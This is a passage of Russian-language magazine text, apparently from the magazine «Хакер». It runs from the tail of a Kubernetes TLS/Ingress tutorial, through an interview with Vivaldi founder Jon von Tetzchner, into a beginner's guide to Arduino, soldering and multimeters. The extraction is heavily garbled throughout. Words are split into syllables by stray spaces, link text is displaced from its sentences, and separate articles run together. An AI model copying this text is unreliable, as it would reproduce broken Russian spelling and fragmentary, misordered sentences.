 name: tls‐prod‐secret

spec:
 secretName: tls‐prod‐secret
 dnsNames:
 ‐ myservice‐ingress.westeurope.cloudapp.azure.com
 acme:
   config:
   ‐ http01:
       ingressClass: nginx
     domains:
     ‐ myservice‐ingress.westeurope.cloudapp.azure.com
 issuerRef:
   name: letsencrypt‐prod
   kind: ClusterIssuer

Вы пол няем:

kubectl apply ‐f certificate.yaml

Соз дание сер виса и ingress
В Kubernetes мож но соз давать сер висы четырех типов.
1. Сер вис по умол чанию — ClusterIP. Дос туп к это му сер вису воз можен толь‐ 
ко из клас тера по внут ренне му IP.

2. NodePort авто мати чес ки соз дает сер вис ClusterIP. Дос туп к NodePort воз‐ 
можен извне по мар шру ту  .<NodeIP>:<NodePort>

3. Ба лан сиров щик  наг рузки  LoadBalancer  пре дос тавля ет  дос туп  к  сер вису
извне, авто мати чес ки соз давая сер висы NodePort и ClusterIP.

4. ExternalName свя зыва ет сер вис со внеш ним име нем.

Нам хва тит базово го сер виса:

apiVersion: v1
kind: Service
metadata:
 name: myservice

spec:
 type: ClusterIP
 ports:
   ‐ port: 80
     name: http
     targetPort: http
 selector:
   app: myapp

Зна чени ем  selector  мы  ука зыва ем  имя  нашего  деп лой мен та.  Оста ется  соз‐ 
дать сер вис:

kubectl apply ‐f service.yaml

И в качес тве зак лючитель ного эта па соз даем ingress. В YAML мы ука жем имя
cluster‐issuer и сер тифика та. Их мы соз давали ранее.

apiVersion: extensions/v1beta1
kind: Ingress
metadata:
 name: myingress
 annotations:
   kubernetes.io/ingress.class: nginx
   certmanager.k8s.io/cluster‐issuer: letsencrypt‐prod
   nginx.ingress.kubernetes.io/rewrite‐target: /
spec:
 tls:
 ‐ hosts:
   ‐ myservice‐ingress.westeurope.cloudapp.azure.com
   secretName: tls‐prod‐secret
 rules:
 ‐ host: myservice‐ingress.westeurope.cloudapp.azure.com
   http:
     paths:
     ‐ path: /
       backend:
         serviceName: myservice
         servicePort: 80

Че рез какое‐то вре мя пос ле соз дания ingress с помощью все той же коман ды
kubectl apply наш мик росер вис дол жен стать дос тупным по адре су 

.  Клик нув  на  замочек
в адресной стро ке бра узе ра рядом с https, мож но убе дить ся, что сер тификат
валид ный и выдан CA.

https://my‐
service‐ingress.westeurope.cloudapp.azure.com

Сер тификат

mailto:asommer@yandex.ru
https://portal.azure.com/
https://docs.microsoft.com/ru-ru/azure/aks/kubernetes-walkthrough-portal
https://docs.microsoft.com/ru-ru/azure/aks/kubernetes-walkthrough
https://hub.docker.com/
https://docs.microsoft.com/en-us/azure/container-registry/container-registry-auth-aks
https://letsencrypt.org/
https://myservice-ingress.westeurope.cloudapp.azure.com/
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«Хакер»  побесе довал  с  соос новате лем  фир мы  Opera
и  осно вате лем  Vivaldi  Йоном  фон  Теч нером,  что бы  узнать
о  боль ших  целях  и  о  насущ ных  проб лемах,  которые  сто ят
перед раз работ чиками нового бра узе ра.

Бе седо вал Андрей Пись мен ный

INFO

В  2014  году  «Хакер» 
  —  в  то  вре мя  он

еще работал в Opera и все было сов сем по‐дру‐ 
гому. Одна ко зна ние тог дашней ситу ации во мно‐ 
гом  полез но  для  понима ния  нынеш ней.  Так же
в  «Хакере» 

 — рус ско го пок лонни ка Opera, которо му уда‐ 
лось вой ти в ее коман ду. Илья, в час тнос ти, зат‐ 
рагива ет  исто рию  о  покуп ке  Opera  китай ской
ком пани ей Qihoo 360.

уже  пуб ликовал  интервью
с  Йоном  фон  Теч нером

пуб ликова лась  статья  Ильи  Шпань‐ 
кова

ДВИЖОК
— В пос леднее вре мя раз нооб разие бра узе ров силь но сни зилось,

и  боль шинс тво  аль тер натив ных  вари антов  исполь зуют  Blink.

Как  вы  отно ситесь  к  это му?  Быть  может,  это  нор маль ный  про- 

цесс?

—  Сегод ня  у  боль шинс тва  бра узе ров  пос тепен но  сок раща ется  фун кци‐ 
ональ ность,  но,  к  счастью,  Vivaldi  меня ет  эту  ситу ацию,  и  мы  уже  видим
положи тель ные сдви ги на рын ке. В самом Vivaldi реали зова на мас са полез‐ 
ных фун кций, и некото рые из них уже исполь зуют ся в дру гих бра узе рах. Я счи‐ 
таю, что эта тен денция зас тавит осталь ных про изво дите лей бра узе ров внес ти
кор ректи вы в стра тегию раз вития сво их про дук тов.

В  течение мно гих  лет  все  бра узе ры  исполь зовали  один  из  трех  движ ков
(Trident, Mozilla и Presto). Теперь таких движ ков ста ло четыре: Trident, Mozilla,
Blink  и  WebKit  (хотя  WebKit  явля ется  частью  Blink).  Я  счи таю,  что  отказ
от Presto был боль шой ошиб кой, и если бы я не ушел из Opera, то ни за что
не допус тил бы это го. Не надо забывать, что раз работ ка бра узе ра с чис того
лис та,  мяг ко  ска жем,  нет риви аль ная  задача,  поэто му  все  появив шиеся
за пос ледние двад цать лет бра узе ры раз работа ны на базе одно го из сущес‐ 
тву ющих движ ков.

—  Исполь зуют ся  ли  в  Vivaldi  какие‑то  модифи кации  к  Blink
или осо бые нас трой ки? Дру гими сло вами, это один в один тот же

дви жок, что и в Chromium, или есть какие‑то отли чия?
— Мы добави ли некото рые фун кции в Blink и ста раем ся под держи вать их.

Одна ко  эта  под дер жка  свя зана  с  боль шими  зат ратами,  поэто му мы  вно сим
толь ко  минималь ные  изме нения  в  сам  Blink,  но  сде лали  мно жес тво  изме‐ 
нений  в  обо лоч ке  это го  движ ка.  Весь  поль зователь ский  интерфейс  Vivaldi
раз работан за пре дела ми Blink, и для его реали зации пот ребова лись толь ко
нез начитель ные изме нения.

— Учас тву ет ли ваша коман да в раз работ ке Blink? Если нет, то

воз можно ли это в будущем?

— Мы написа ли для него некото рые пат чи и пла ниру ем и даль ше учас тво‐ 
вать в этом про екте.

Vivaldi 2.0
26  сен тября  2018  года,  через  два  с  полови ной  года  пос ле  выхода  пер вой
вер сии,  свет  уви дел  .  В  обновле нии  появи лось  мно жес тво  полез‐ 
ных,  инте рес ных и иног да неод нознач ных фич. Раз работ чики сооб щают,  что
со вре мен пер вого релиза они сде лали свы ше 1500 улуч шений.

Vivaldi  2.0

Вот нес коль ко наибо лее замет ных и зна чимых вещей в вер сии 2.0.
  —  встро енный  сер вис  син хро низа ции  зак ладок,  дан ных

для авто запол нения, рас ширений, заметок и хис тори (сох раня ются толь ко те
ссыл ки, что были вве дены вруч ную).

Vivaldi  Sync

  Здесь  живет  немалая  часть  допол‐ 
нитель ных фун кций бра узе ра. Помимо исто рии и зак ладок, ты най дешь здесь
менед жер вкла док с дре вовид ной струк турой, замет ки (с воз можностью прик‐ 
ладывать  скрин шоты  и  ссыл ки  на  сай ты),  а  так же  веб‐панели  —  зак ладки,
которые откры вают ся в виде узкой колон ки.

Но вов ведения  в  боковой  панели.

Те перь ты можешь читать «Хакер», ког да ты чита ешь «Хакер»!

  Нап ример,  адресную  стро ку
мож но перенес ти вниз или вооб ще отклю чить, если вдруг захочет ся.
До пол нитель ные  опции  кас томиза ции.

Есть и более лег комыс ленные фичи. Нап ример, вер хняя панель по умол‐ 
чанию меня ет цвет в зависи мос ти от посеща емо го сай та: на google.com она
будет синей, а если зай ти на xakep.ru, она ста нет бла город ного чер ного цве‐ 
та.

ФУНКЦИИ И ПОЛЬЗОВАТЕЛЬСКИЙ ИНТЕРФЕЙС
— Каковы ваши при ори теты в пла не UI/UX?

— Глав ное для нас — это раз нооб разие фун кций и гиб кость. Прак тичес ки
каж дую опе рацию мож но выпол нить нес коль кими спо соба ми, поэто му поль‐ 
зователь может выб рать наибо лее удоб ный для себя. Наши кон курен ты сок‐ 
раща ют  фун кци ональ ность  сво их  бра узе ров,  а  мы,  наобо рот,  рас ширя ем,
при чем Vivaldi пре дос тавля ет поль зовате лю толь ко  те фун кции,  которые ему
нуж ны  сей час.  Мы  зна ем,  что  если  мно гие  люди  исполь зуют  один  и  тот  же
софт, то у них могут быть раз ные пред почте ния и задачи, поэто му мы осо бое
вни мание уде ляем гиб кости исполь зования бра узе ра.

Мы ори енти руем ся  на  наших  поль зовате лей. Вмес то  слеж ки  за  ними мы
собира ем пожела ния и ком мента рии и ста раем ся учи тывать их при раз работ‐ 
ке бра узе ра.

Ес ли  говорить  о  поль зователь ском  интерфей се  бра узе ра,  то  он  у  нас
очень сов ремен ный и кра сивый, и поль зователь может нас тро ить его по сво‐ 
ему вку су.

— Как вы реша ете, какие новые фун кции вклю чить в бра узер?

Есть ли какое‑то прин ципи аль ное отли чие от преж ней иде оло гии
Opera?

—  Новые  фун кции  раз рабаты вают ся  по  раз ным  сце нари ям.  Они  могут
быть резуль татом моз гового штур ма либо воп лощени ем идеи, которая приш‐ 
ла в голову одно му из раз работ чиков или любому дру гому сот рудни ку, а так же
раз рабаты вать ся  в  ответ  на  зап рос  поль зовате ля.  Иног да  фун кция  дол го
обду мыва ется  и  обсужда ется,  а  в  дру гих  слу чаях  кто‐то  прос то  реали зует
свою идею. У нас нет жес ткой про цеду ры раз работ ки, для нас глав ное — воп‐ 
лощение инно ваций любым спо собом.

Ког да я работал в Opera, ком пания сле дова ла тем же прин ципам, но пос ле
моего ухо да ситу ация там кар диналь но изме нилась. Мы про дол жаем луч шие
тра диции быв шей Opera.

— Пла ниру ете ли вы добавить какие‑то фун кции, которые были
в Opera, но были убра ны пос ле сме ны кур са? Нап ример, Unite.

— Мы уже реали зова ли боль шинс тво фун кций Opera и ряд допол нитель‐ 
ных. Пос коль ку для нас при ори теты — это гиб кость и мне ние поль зовате лей,
то  впол не  логич ным  было  добавить  в  наш  бра узер  фун кции  Opera,  но  при
этом  пой ти  даль ше  и  так же  реали зовать  фун кции,  которых  никог да  рань ше
не было в бра узе рах. Я говорю о груп пиров ке вкла док, о раз мещении сгруп‐ 
пирован ных вкла док в одном окне, о встро енной фун кции сним ков экра на и,
конеч но, о новой фун кции прос мотра и ана лиза исто рии. Мы внед ряем инно‐ 
вации каж дый день.

Unite — это велико леп ная тех нология, но в крат ковре мен ной пер спек тиве
не име ет смыс ла заново стро ить всю плат форму (хотя мы исполь зуем прин‐ 
ципы  Unite),  поэто му  кон цен три руем  свои  уси лия  на  дру гих  про ектах,  нап‐ 
ример на раз работ ке встро енно го кли ента элек трон ной поч ты, который вый‐ 
дет в бли жай шее вре мя.

—  Сре ди  глав ных  дос тоинств  Vivaldi  перечис ляет ся  при ват- 

ность. Это зна чит толь ко то, что вы не собира ете поль зователь- 

ские  дан ные,  или  же  есть  пла ны  внед рить  какие‑то  защит ные
механиз мы  (нап ример,  защиту  от  фин гер прин тинга  или  встро- 

енный прок си)?

—  Разуме ется,  при ват ность  край не  важ на,  и  глав ное  для  нас  —  соб‐ 
людение  при ват ности  поль зовате лей. В  отли чие  от  дру гих  бра узе ров,  у  нас
для  поль зовате ля  не  соз дают ся  про фили  ни  в  онлай не,  ни  локаль но.  Мы
не  собира ем  никакую  ста тис тику  исполь зования.  Вмес то  того  что бы  тай но
сле дить за тем, как исполь зует ся бра узер, мы спра шива ем у поль зовате лей,
что бы они хотели усо вер шенс тво вать.

Мы так же реали зова ли некото рые важ ные воз можнос ти выбора для поис‐ 
ка.  По  умол чанию  в  адресной  стро ке  не  выводит ся  под сказ ка  для  поис ка.
Это сде лано потому, что фун кция «под сказ ка для поис ка» пересы лает поис‐ 
ковому  сер вису  все,  что  поль зователь  вво дит  в  адресной  стро ке. Мы  так же
сот рудни чаем и с такими поис ковика ми, как DuckDuckGo и Qwant, потому что
у них тот же под ход к защите при ват ности в интерне те, что и у нас.

Мы  будем  и  даль ше  добав лять  в  бра узер  фун кции,  обес печива ющие
защиту лич ной информа ции поль зовате ля.

— Некото рые бра узе ры ста ли по  умол чанию скры вать пол ный

адрес сай та из адресной стро ки. Что вы дума ете о таком поведе- 

нии? Почему решили не делать так в Vivaldi?

— Мы  счи таем,  что  поль зователь  дол жен  видеть  информа цию  о  сай тах,
которые  он  посеща ет,  и  будем  и  даль ше  обес печивать  отоб ражение  этой
информа ции.

OPERA
— Кто‑то из быв ших раз работ чиков Opera учас тву ет в раз работ ке
Vivaldi?

— Да,  в Vivaldi  переш ли мно гие быв шие сот рудни ки Opera,  вклю чая раз‐ 
работ чиков,  сис темных  адми нис тра торов,  пер сонал  из  отде лов QA  и  HR.  Я
рад, что про дол жаю работать со сво ими быв шими кол легами по Opera.

— Как вы оце нива ете долю быв ших поль зовате лей Opera сре ди

поль зовате лей Vivaldi?

—  Это  труд но  ска зать,  если  чес тно.  Но,  судя  по  дан ным  о  посеще ниях
нашего сай та, про цент поль зовате лей Opera сре ди них боль ше, чем в целом
доля это го бра узе ра на рын ке. Впол не воз можно, что быв шие поль зовате ли
Opera,  разоча рован ные  изме нени ем  стра тегии  раз вития  это го  бра узе ра,
перехо дят  на  наш бра узер  либо  на Chrome  или  Firefox. Судя  по  ста тис тике,
боль шинс тво наших поль зовате лей рань ше исполь зовали Chrome.

— И кста ти, каково иметь свое преж нее тво рение в чис ле кон- 

курен тов?

— Если бы Opera не отка залась от Presto и не изме нила филосо фию раз‐ 
работ ки,  то  я  бы  не  ушел  из  этой  ком пании  и  не  осно вал  бы  Vivaldi.  Кро ме
меня,  Opera  покину ли  мно гие  ведущие  сот рудни ки,  и  сей час  от  этой  ком‐ 
пании фак тичес ки оста лось толь ко наз вание. Так что это уже не мое детище,
а неч то иное.

БИЗНЕС
—  А  Google  вы  рас смат рива ете  в  качес тве  кон курен та?  Vivaldi

одновре мен но исполь зует ее  тех нологии и  сорев нует ся  за поль- 

зовате лей  с  Chrome.  У  вас  нет  опа сения,  что  рано  или  поз дно

такая зависи мость может стать проб лемой?

— Google — это один из наших  глав ных  кон курен тов. Эти ребята игра ют
очень жес тко. Иног да для дос тупа к сер висам Google мы вынуж дены скры вать
свои  иден тифика цион ные  дан ные,  ина че  они  нас  бло киру ют.  Разуме ется,
это труд ный сопер ник, но и мы не пер вый год в биз несе. Мы мно го лет кон‐ 
куриру ем с Microsoft, Apple и Google и зна ем, как выжить, ког да боль шой вен‐ 
дор при меня ет про тив нас зап рещен ные при емы.

—  Думаю,  не  сек рет,  что  источник  дохода  Vivaldi  —  это  рек- 

лама.  На  ваш  взгляд,  это  пер спек тивная  биз нес‑модель?  Рас- 
смат ривались ли дру гие вари анты?

— Похоже, вы боль ше меня зна ете про биз нес ком пании!
На ша  биз нес‐модель  осно вана  не  на  доходах  от  рек ламы,  а  на  доходе

от  поис ка,  и  некото рые  из  наших  зак ладок  так же  дают  при быль,  ког да  ими
кто‐то  поль зует ся.  Не  могу  ска зать,  что  у  нас  фан тасти чес кие  доходы
на одно го  поль зовате ля,  но они рас тут  из  года  в  год. Я  счи тают  такую биз‐ 
нес‐модель опти маль ной для нас и не собира юсь ее менять. Для нас совер‐ 
шенно неп рием лема биз нес‐модель, осно ван ная на сбо ре и про даже дан ных
о поль зовате лях бра узе ра.

—  Как  вы  отно ситесь  к  ини циати вам  типа  Acceptable  Ads

и решению Google бло киро вать некото рые виды рек ламы?

— Самая  пло хая  рек лама —  это  та,  которая  исполь зует  слеж ку  за  поль‐ 
зовате лем для отоб ражения рек ламных объ явле ний. К сожале нию, такая рек‐ 
лама есть у Google, Facebook и мно гих дру гих ком паний. Боль шие рек ламные
объ явле ния раз дра жают поль зовате лей, и их дол жно быть как мож но мень ше,
но нам ного хуже рек лама, исполь зующая слеж ку за поль зовате лями.

— О поис ковике Qwant мно гие недав но узна ли как раз бла года- 

ря Vivaldi. На выбор есть и дру гие малопо пуляр ные опции (Ecosia

и  StartPage).  Это  ком мерчес кое  пар тнерс тво?  Предъ явля ете  ли

вы какие‑то тре бова ния к про вай дерам поис ка?
— Да,  это  ком мерчес кое  пар тнерс тво. Мы  ста раем ся  выбирать  те  поис‐ 

ковые  механиз мы,  которые  наибо лее  выгод ны  для  нас.  Поэто му  в  качес тве
основных  опций  нашего  бра узе ра  пред лага ем  Qwant,  DuckDuckGo,  Ecosia
и  StartPage. Мы  так же  под держи ваем  в  качес тве  опции  и  самые  извес тные
поис ковики,  но  наде емся,  что  бла года ря  сот рудни чес тву  с  Vivaldi  популяр‐ 
ность  наз ванных  выше  четырех  поис ковиков  вырас тет  —  это  будет  луч ше
и для поль зовате лей, и для рын ка.

mailto:apismenny@gmail.com
https://xakep.ru/2014/08/08/opera-interview/
https://xakep.ru/2016/03/21/5-years-in-opera/
https://vivaldi.com/blog/vivaldi-2-0-your-browser-matters/
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Ты  навер няка  встре чал  в  интерне те  пот ряса ющие  про екты
вро де  оркес тра  из  дис ководов,  который 

,  или 
,  или  ,  или  еще

бес конеч ного количес тва полез ных, забав ных и даже слег ка
безум ных изоб ретений. Если тебе вдруг захоте лось сде лать
что‐то такое самос тоятель но, а никаких поз наний в элек тро‐
и  схе мотех нике  у  тебя  нет,  то  в  этой  статье  я  пос тара юсь
помочь, рас ска зав, с чего начинать.

ис полня ет  тему
Дар та  Вей дера ма кета  пор таль ной  пуш ки  из  «Рика
и Мор ти» ди нами чес кой  под свет ки монито ра

Пред положим,  что  у  тебя  появи лось  желание  соз дать  свой  непов торимый
про ект. Уже есть идея и пред став ление о том, что будет делать твой гад жет,
но  тут  ты  стал кива ешь ся  с  законо мер ным  воп росом:  как?  Школь ный  курс
физики дав но забыт, а Google пред лага ет такое количес тво информа ции, что
совер шенно неяс но, с чего начать.

WWW

Воз можно,  твои  пер вые  про екты  будут  пол ным
про валом,  но  видео  на  канале  вос хититель ной

  всег да  смо гут  тебя  при обод рить,
а может быть, и вдох новить.
Си моны  Гирц

Сей час про ще все го начинать с покуп ки одноплат ного компь юте ра или мик‐ 
рокон трол лера и выбора модулей к нему — бла го сто ит все это не так дорого.
Про вода и элек трон ные ком понен ты ты тоже лег ко най дешь по при емле мым
ценам, а кое‐что смо жешь даже поза имс тво вать из ста рого сло ман ного ноут‐ 
бука  или  дру гой  отслу жив шей  свой  век  тех ники.  Но  сна чала  нуж но  опре‐ 
делить ся, что имен но брать в качес тве осно вы.

ВЫБОР ПЛАТФОРМЫ: ARDUINO ИЛИ RASPBERRY PI
Две самые зна мени тые плат формы для реали зации про ектов «сде лай сам» —
это мик рокомпь ютер Raspberry Pi и мик рокон трол лер Arduino. А зна мени тость
в  таких  слу чаях  озна чает  мас су  сов мести мых  ком понен тов  и  ману алов,
которые мож но при менять без изме нений.

Arduino Uno и Raspberry Pi 3B+

Arduino —  это  опен сор сная  пла та  на  осно ве  чипов  Atmel  ATmega  8/168/328
AVR. Ее основное наз начение — работа с дат чиками и сен сорами. Эта пла та
прек расно под ходит для прос тых про ектов, где от устрой ства тре бует ся толь‐ 
ко реаги ровать на пос тупа ющие дан ные.

WWW

На  сай те    ты  най дешь  про екты,  которые
мож но осво ить с исполь зовани ем толь ко готовых
модулей на плат форме Arduino.

Iarduino

Для начала работы с Arduino понадо бит ся сре да раз работ ки —  .
В ней обыч но пишут на Arduino programming  language. Но есть и под дер жка
С и С++.

Arduino  IDE

Софт для работы с Arduino прост в исполь зовании и не вызовет воп росов
у нович ка, но при этом он дос таточ но гиб кий, что бы не перес тавать им поль‐ 
зовать ся и потом. Arduino IDE без проб лем идет в Mac, Windows и Linux.

В общем, Arduino — это мас тхев для любого жела юще го начать мас терить
что‐то  элек трон ное.  В  качес тве  стар тового  про екта  подой дет  любой
из  готовых  наборов  либо  что‐то  из  нарабо ток  сооб щес тва  Arduino.  Самый
прос той вари ант мож но соб рать на  .ма кет ной пла те

В модель ной линей ке фир менных Arduino есть раз ные вари анты. В пер вую
оче редь тебе при годят ся Uno или Leonardo.

Таб лица срав нения моделей Uno и Leonardo

Ос новная  раз ница  меж ду  ними  в  том,  что  Leonardo  может  под клю чать ся
не  толь ко  как СОМ‐порт,  но и  как мыш ка или  кла виату ра. В осталь ном раз‐ 
ница  меж ду  Uno  и  Leonardo  не  прин ципи аль на.  Зато  ког да  ты  возь мешь ся
за  более  амби циоз ные  про екты,  то  обя затель но  пос мотри  на  Mega  и  Duo,
у  них  мно го  важ ных  отли чий:  боль ше  вхо дов  и  выходов,  боль ше  ОЗУ
и  флеш‐памяти.  А  модель  Micro  выделя ется  сво ими  раз мерами  —  все‐ 
го 4,8 на 1,77 см.

К  тому  же  у  Arduino  есть  мно гочис ленные  кло ны,  мно гие  из  которых
по качес тву не усту пают ори гина лу. Сто ить они могут дешев ле, но сов мести‐ 
мы  с  соф том  и  модуля ми  для  Arduino.  Нет  ничего  осо бен но  зазор ного
в  покуп ке  кло на,  пос коль ку  дизайн  Arduino  опен сор сный.  А  вот  за  сбор ку
и  качес тво  ком понен тов  кло нов  отве чают  толь ко  их  про изво дите ли.  Так же
раз личать ся  могут  раз меры  и  раз водка,  рас положе ние  кно пок  и  све тоди‐ 
одов — в тех рам ках, что не меша ют сов мести мос ти с перифе рией.

Мно гочис ленные кло ны Arduino

INFO

Craftduino,  Seeeduino,  Freeduino,  Robotdyn,
Iteaduino  —  зарубеж ные  ана логи  Arduino,  сопос‐ 
тавимые  по  качес тву  с  ори гина лом.  «Ваниль»
и  Iskra  —  рос сий ские.  Кста ти,  у  ком пании  Iskra
есть и собс твен ные модули.

Ты  можешь  заказать  пла ту  по  очень  при ятной  цене  на  «Али экс прес се»,
но  проб лема  в  том,  что  нет  прос того  спо соба  отли чить  качес твен ный  клон
от  некачес твен ного  по  фотог рафии.  Брак  быва ет  малоза метен,  как  изоб‐ 
ражено на кар тинке.

Раз личия меж ду ори гина лом и фаль шив кой

Од нако  если  тебе  уже  попалась  нерабо чая  пла та,  то  и  ее  при  желании  (и
некото ром уме нии)  .мож но починить

Дру гая  рас простра нен ная  проб лема  с  дешевы ми  китай ски ми  кло‐ 
нами — это исполь зование чипа CH340 вмес то ATmega. Если видишь Arduino
за пару сотен руб лей, то там навер няка сто ит имен но CH340. Одна ко для его
под дер жки  нуж но  все го  лишь  уста новить  дру гой  ,  так  что  эко номия
может быть оправдан ной.

драй вер

Что же каса ется Raspberry Pi, это компь ютер со сво ей опе раци онной сис‐ 
темой,  на  него  даже  мож но  уста новить  боль шинс тво  прог рамм  для  Linux
(если  есть  сбор ка  для  ARM  или  если  удас тся  соб рать  из  исходных  кодов).
Из  Raspberry  Pi  дела ют  игро вые  прис тавки,  камеры  виде онаб людения,
устрой ства с тачс кри нами и  .сер веры для хра нения элек трон ной биб лиоте ки

Ес ли для тво его про екта нужен пол ноцен ный компь ютер с раз нооб рази ем
ути лит  и  биб лиотек,  то  Raspberry  Pi  или  Raspberry  Pi  Zero  W  —  отличный,
хорошо  под держи ваемый  раз работ чиками  и  сооб щес твом  вари ант.
При желании ты можешь свя зать Arduino и Raspberry Pi, что бы они работа ли
в сим биозе: нап ример, нес коль ко мик рокон трол леров Arduino будут собирать
информа цию с дат чиков, а Raspberry Pi обра баты вать ее.

НЕСКОЛЬКО СОВЕТОВ НАЧИНАЮЩИМ
На пер вых  эта пах  невоз можно не совер шать ошиб ки,  это неиз бежная  часть
обу чения.  Но  тем  не  менее  было  бы  жес токо  не  поделить ся  совета ми,
которые сэконо мят тебе вре мя, день ги и нер вы.
• Бе ри готовые модули, что бы пер вое вре мя не паять. Ког да я спа лил свой
пер вый  модуль  Bluetooth,  это  на  некото рое  вре мя  отби ло  мне  желание
работать с Arduino.

• Не нуж но сра зу покупать мно го наборов и деталей. Если в арсе нале све‐ 
тоди одная  мат рица,  камера,  дат чик  шума  и  дру гие  игрушки,  ста новит ся
слож но закон чить хотя бы один про ект. А как мож но ско рее получить пер‐ 
вый резуль тат — это очень важ но, что бы не рас терять энту зиазм по пути.

• При  выборе  про екта  ори енти руй ся  на  его  уро вень:  не  сто ит  начинать
со  слож ного.  Ско рее  все го,  это  прев ратит ся  в  прос тое  копиро вание,
которое  не  при несет  тебе  удо воль ствия  и  про фита.  Самое  глав ное
на этом эта пе — удач но выб рать про ект, в про тив ном слу чае у тебя может
про пасть желание занимать ся этим даль ше. (А даль ше — толь ко инте рес‐ 
нее!)

• Очень  полез на  будет  макет ная  пла та.  Для  начала  луч ше  взять  боль шую:
с  ней  лег че  работать,  ты  не  запута ешь ся  в  про водах  и  смо жешь  луч ше
разоб рать ся в про цес се. Сэконом ленные 60 руб лей счастья не при несут,
а с боль шой пла той будет в разы при ятнее и эффектив нее работать.

Ма кет ная пла та

ВРЕМЯ ПАЯТЬ!
Ког да‐нибудь  это  вре мя обя затель но  нас танет. Ско рее  все го,  это  слу чит ся,
ког да  ты  возь мешь ся  за  собс твен ный  про ект,  в  котором  тебе  будут  нуж ны
немодуль ные детали. Тог да при дет ся делать новые модули или тра вить схе‐ 
му. В любом слу чае — паять при дет ся. А вот чем — дру гой воп рос.

Ме ня  впол не  устра ивает  мой  паяль ник  за  200  руб лей  (мож но  ска зать,
собираю все на колен ках!). Одна ко, что бы ты ни выб рал, эле мен тарную тех‐ 
нику  безопас ности  ник то  не  отме нял:  заранее  уби рай  пос торон ние  (в  осо‐ 
бен ности — лег ко вос пла меня ющиеся) пред меты со сто ла, обес печь про вет‐ 
ривание  и  не  пре неб регай  защит ными  очка ми —  они,  ско рее  все го,  будут
про давать ся там же, где и паяль ник.

По доб ным паяль ником поль зуюсь я

Преж де  чем  покупать  паяль ную  стан цию,  советую  при обрести  обыч ный
паяль ник и поп робовать порабо тать с ним. Ста биль ная тем перату ра, которую
обес печит  стан ция,  быва ет  полез ной  при  пай ке  мик росхем,  но  в  осталь ных
слу чаях не очень‐то нуж на. Кста ти, по сво ему опы ту пай ки SMD могу ска зать,
что  это  реаль но  сде лать  и  обыч ным  паяль ником,  прос то  нуж но  иметь  пару
запас ных деталей на слу чай, если спа лишь.

Па яль ники,  конеч но,  тоже  быва ют  раз ные.  Рекомен дую  брать  девайс
со смен ным жалом — для боль шей  гиб кости. Наг реватель обыч но совету ют
керами чес кий, как более дол говеч ный. Одна ко тебе, ско рее все го, не нуж но
будет  работать  с  ним  каж дый  день,  поэто му  подой дет  и  более  дешевый —
них ромовый.

При покуп ке паяль ника сто ит взять и под став ку для него: ждать, пока инс‐ 
тру мент осты нет или наг реет ся, скуч но. Осо бен но тос кли во, если ты дол жен
дер жать его все вре мя в руке. И даже не думай оставлять его на сто ле и ухо‐ 
дить курить!

Па яль ная стан ция

Что до паяль ных стан ций, то они безопас нее и удоб нее, одна ко и зна читель но
дороже. По сути, паяль ная стан ция — апгрейд паяль ника. Самая прос тая вер‐ 
сия будет вклю чать в себя под став ку и кон троль ный модуль. В нем — монитор
для  отоб ражения  текущей  тем перату ры  и  руч ка‐регуля тор.  Ком плек тация
паяль ной стан ции может варь иро вать ся в зависи мос ти от цены. В ком плек те
может  быть  ваку умный  пин цет,  оло воот сос,  фен  для  локаль ного  подог рева
и еще мно го инте рес ных прис пособ лений.

Продолжение статьи →
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https://www.arduino.cc/en/Main/Standalone
https://www.instructables.com/id/How-to-fix-bad-Chinese-Arduino-clones/
https://kig.re/2014/12/31/how-to-use-arduino-nano-mini-pro-with-CH340G-on-mac-osx-yosemite.html
https://pimylifeup.com/raspberry-pi-ebook-server/


Я У МАМЫ ИНЖЕНЕР
КАК ПЕРЕСТАТЬ БОЯТЬСЯ ПАЯЛЬНИКА

И НАЧАТЬ ТВОРИТЬ

GEEK  НАЧАЛО СТАТЬИ←

МУЛЬТИМЕТР ТЕБЕ В ПОМОЩЬ
Воз можно,  со  вре мен  вось мого  клас са  (или  того,  в  котором  в  тво ей шко ле
про ходи ли  элек три чес тво  и  маг нетизм)  ты  пом нишь,  кто  такие  амперметр
и воль тметр. Муль тиметр, или, по пас порту, «при бор изме ритель ный уни вер‐ 
саль ный», дела ет все то же самое, что эти ребята, и еще кое‐что. Он поз воля‐ 
ет  изме рять  нап ряжение,  работос пособ ность  цепи,  силу  тока,  тем перату ру
и коэф фици ент уси ления тран зисто ра.

В зависи мос ти от модели харак терис тики варь иру ются, но все такие при‐ 
боры  мно гофун кци ональ ны.  Самая  зна мени тая  мар ка — DT,  дешево  и  сер‐ 
дито. Если хочешь сра зу что‐то более прод винутое, то обыч но совету ют Mas‐
tech или HoldPeak.

Муль тиметр серии DT‐800

Муль тиметр  нужен  в  пер вую оче редь  для  того,  что бы  про верять,  как  теория
схо дит ся с прак тикой. Наг ревание эле мен тов и паразит ные токи могут вли ять
на  конеч ный  резуль тат,  поэто му  нам  нужен  кон тро лиру ющий  при бор.  Ну
и конеч но, при необ ходимос ти (и ради науч ного инте реса) на работос пособ‐ 
ность мож но про верять отдель ные детали.

Да же  наворо чен ный  муль тиметр  прост  в  исполь зовании.  Выбира ем
режим,  прик ладыва ем щупы  к  нуж ным мес там и  сни маем показа ния. Режим
зависит от  того,  какую  харак терис тику изме ряем и  в  каких пре делах.  Харак‐ 
терис тики на муль тимет рах выделе ны в отдель ные рам ки с под писью, в этих
рам ках мы и выбира ем вто рой параметр — пре делы изме рения.

Приз наюсь,  у меня нет муль тимет ра, и для некото рых про ектов мне при‐ 
ходи лось одал живать его у зна комых. Советую тебе при обрести его по одной
прос той при чине: с ним будет лег че. Не при дет ся лиш ний раз ломать голову,
почему что‐то не работа ет, — мож но прос то про верить.

Про екти рова ние и рас чет схем: где научить ся
В этой статье мы не будем углублять ся в про екти рова ние схем: матери ала тут
огромное количес тво, но он неп лохо пок рыт школь ной (а у кого‐то и инсти тут‐ 
ской) прог раммой и литера турой.

Ес ли  ты  все  прос пал,  но  неп лохо  понима ешь  англий ский,  то  можешь
начать с   — они бес плат ны, очень доход чивы и от

 пос тепен но перехо дят к  . Есть даже 
, в котором объ ясня ют устрой ство бытовых при боров: элек трон‐ 

ных часов, кофевар ки, фена и так далее.

лек ций на «Ака демии Хана»
са мых азов бо лее серь езным темам не‐ 
боль шой курс

Ес ли  же  хочет ся  что‐то  на  рус ском,  то  твоя  дорога  лежит  в  книж ный
магазин, тех ничес кую биб лиоте ку или их ана логи в интерне те. Вот три кни ги,
которые я рекомен дую пос мотреть в пер вую оче редь.

1. «Искусс тво схе мотех ники», П. Хоровиц и У. Хилл
